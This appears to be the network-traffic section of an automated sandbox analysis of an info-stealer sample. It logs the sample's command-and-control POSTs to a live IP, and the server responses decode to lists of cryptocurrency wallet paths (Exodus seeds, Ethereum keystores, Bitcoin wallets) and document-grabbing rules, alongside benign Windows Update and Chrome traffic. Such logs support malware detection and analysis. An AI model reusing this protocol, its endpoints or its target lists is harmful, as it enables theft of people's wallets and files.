`.data@.idata@@.rsrc@@.reloc @B
Nov 26, 2024 00:07:51.366519928 CET	200	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEG Host: 92.255.57.88 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 00:07:52.003402948 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:51 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:52.067492962 CET	466	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGH Host: 92.255.57.88 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 2d 2d 0d 0a Data Ascii: ------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="message"wallets------IECFBKFHCAEHJJKEGDGH--
Nov 26, 2024 00:07:52.530577898 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:52 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 26, 2024 00:07:52.533618927 CET	464	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHI Host: 92.255.57.88 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="message"files------BAAFCAFCBKFHJJJKKFHI--
Nov 26, 2024 00:07:52.996982098 CET	575	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:52 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 348 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6e 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 66 44 45 77 66 44 46 38 4d 58 77 77 66 47 5a 38 4a 55 52 50 51 31 56 4e 52 55 35 55 55 79 56 63 66 43 6f 75 64 48 68 30 66 44 45 77 66 44 46 38 4d 58 77 77 66 47 5a 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 66 44 45 77 66 44 46 38 4d 58 77 77 66 47 5a 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 5a 47 39 6a 65 48 77 79 4d 48 77 78 66 44 46 38 4d 48 78 6d 66 43 56 45 52 56 4e 4c 56 45 39 51 4a 56 78 38 4b 69 35 6b 62 32 4e 34 66 44 49 77 66 44 46 38 4d 58 77 77 66 47 5a 38 4a 55 52 50 51 31 56 4e 52 55 35 55 55 79 56 63 66 43 6f 75 5a 47 39 6a 65 48 77 79 4d 48 77 78 66 44 46 38 4d 48 78 6d 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 4c 6e 68 73 63 33 68 38 4d 6a 42 38 4d 58 77 78 66 44 42 38 5a 6e 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 65 47 78 7a 65 48 77 79 4d 48 77 78 66 44 46 38 4d 48 78 6d 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 4c 6e 68 73 63 33 68 38 4d 6a [TRUNCATED] Data Ascii: ZnwlREVTS1RPUCVcfCoudHh0fDEwfDF8MXwwfGZ8JURPQ1VNRU5UUyVcfCoudHh0fDEwfDF8MXwwfGZ8JVJFQ0VOVCVcfCoudHh0fDEwfDF8MXwwfGZ8JVJFQ0VOVCVcfCouZG9jeHwyMHwxfDF8MHxmfCVERVNLVE9QJVx8Ki5kb2N4fDIwfDF8MXwwfGZ8JURPQ1VNRU5UUyVcfCouZG9jeHwyMHwxfDF8MHxmfCVET0NVTUVOVFMlXHwqLnhsc3h8MjB8MXwxfDB8ZnwlREVTS1RPUCVcfCoueGxzeHwyMHwxfDF8MHxmfCVSRUNFTlQlXHwqLnhsc3h8MjB8MXwxfDB8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.179.207	443	7424	C:\Users\user\Desktop\IeccNv7PP6.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:18 UTC	90	OUT	GET /track_prt.php?sub=0&cc=DE HTTP/1.1 User-Agent: ShareScreen Host: post-to-me.com
2024-11-25 23:07:18 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BisgBD2kQRLAEVJEsrfOp3lUTrnGCZ17fu6eFJIqiBwGm55dU9MelWT2z5KxfDMuoYkmGxQs2v%2BOV3g1bCL7PiGvWb9%2FYR3AKgpTZyhm3eyqr413RFsbjEWtJ0j1d3X13w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e854b4f4cb94241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=728&delivery_rate=775564&cwnd=216&unsent_bytes=0&cid=d5b374eff151ea7a&ts=651&x=0"
2024-11-25 23:07:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-25 23:07:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5AVXMrbghZ2Uex9&MD=N26PxHme HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 23:07:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e62ddf51-49a4-4a1d-ab8b-c3a5696a8ae4 MS-RequestId: e5b60a65-9998-48e7-bf7f-fb6806a134b8 MS-CV: WfZ5KmYHi0mzj4ab.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 23:07:24 GMT Connection: close Content-Length: 24490
2024-11-25 23:07:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 23:07:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	142.250.181.100	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:34 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 23:07:35 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:34 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-m7pqVYozy1q3mhPNTgTvLw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 23:07:35 UTC	124	IN	Data Raw: 33 31 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 69 61 6d 69 20 64 6f 6c 70 68 69 6e 73 20 70 61 74 72 69 6f 74 73 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 20 73 70 61 6e 61 6b 6f 70 69 74 61 22 2c 22 77 65 64 6e 65 73 64 61 79 20 73 65 61 73 6f 6e 20 74 77 6f 22 2c 22 6d 69 63 68 69 67 61 6e 20 64 65 65 72 20 68 75 6e 74 65 72 Data Ascii: 31d)]}'["",["miami dolphins patriots","disney dreamlight valley spanakopita","wednesday season two","michigan deer hunter
2024-11-25 23:07:35 UTC	680	IN	Data Raw: 73 20 64 79 69 6e 67 22 2c 22 6b 72 69 73 70 79 20 6b 72 65 6d 65 20 67 72 69 6e 63 68 20 64 6f 75 67 68 6e 75 74 73 22 2c 22 76 20 62 75 63 6b 73 20 72 65 64 65 65 6d 20 63 6f 64 65 73 22 2c 22 62 6f 78 20 6f 66 66 69 63 65 20 77 69 63 6b 65 64 20 6d 6f 76 69 65 22 2c 22 66 61 6e 74 61 73 79 20 66 6f 6f 74 62 61 6c 6c 20 77 61 69 76 65 72 20 77 69 72 65 20 77 65 65 6b 20 31 33 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 Data Ascii: s dying","krispy kreme grinch doughnuts","v bucks redeem codes","box office wicked movie","fantasy football waiver wire week 13"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vh
2024-11-25 23:07:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	142.250.181.100	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:34 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 23:07:35 UTC	1018	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 23:07:35 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 23:07:35 UTC	372	IN	Data Raw: 31 66 64 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1fd2)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
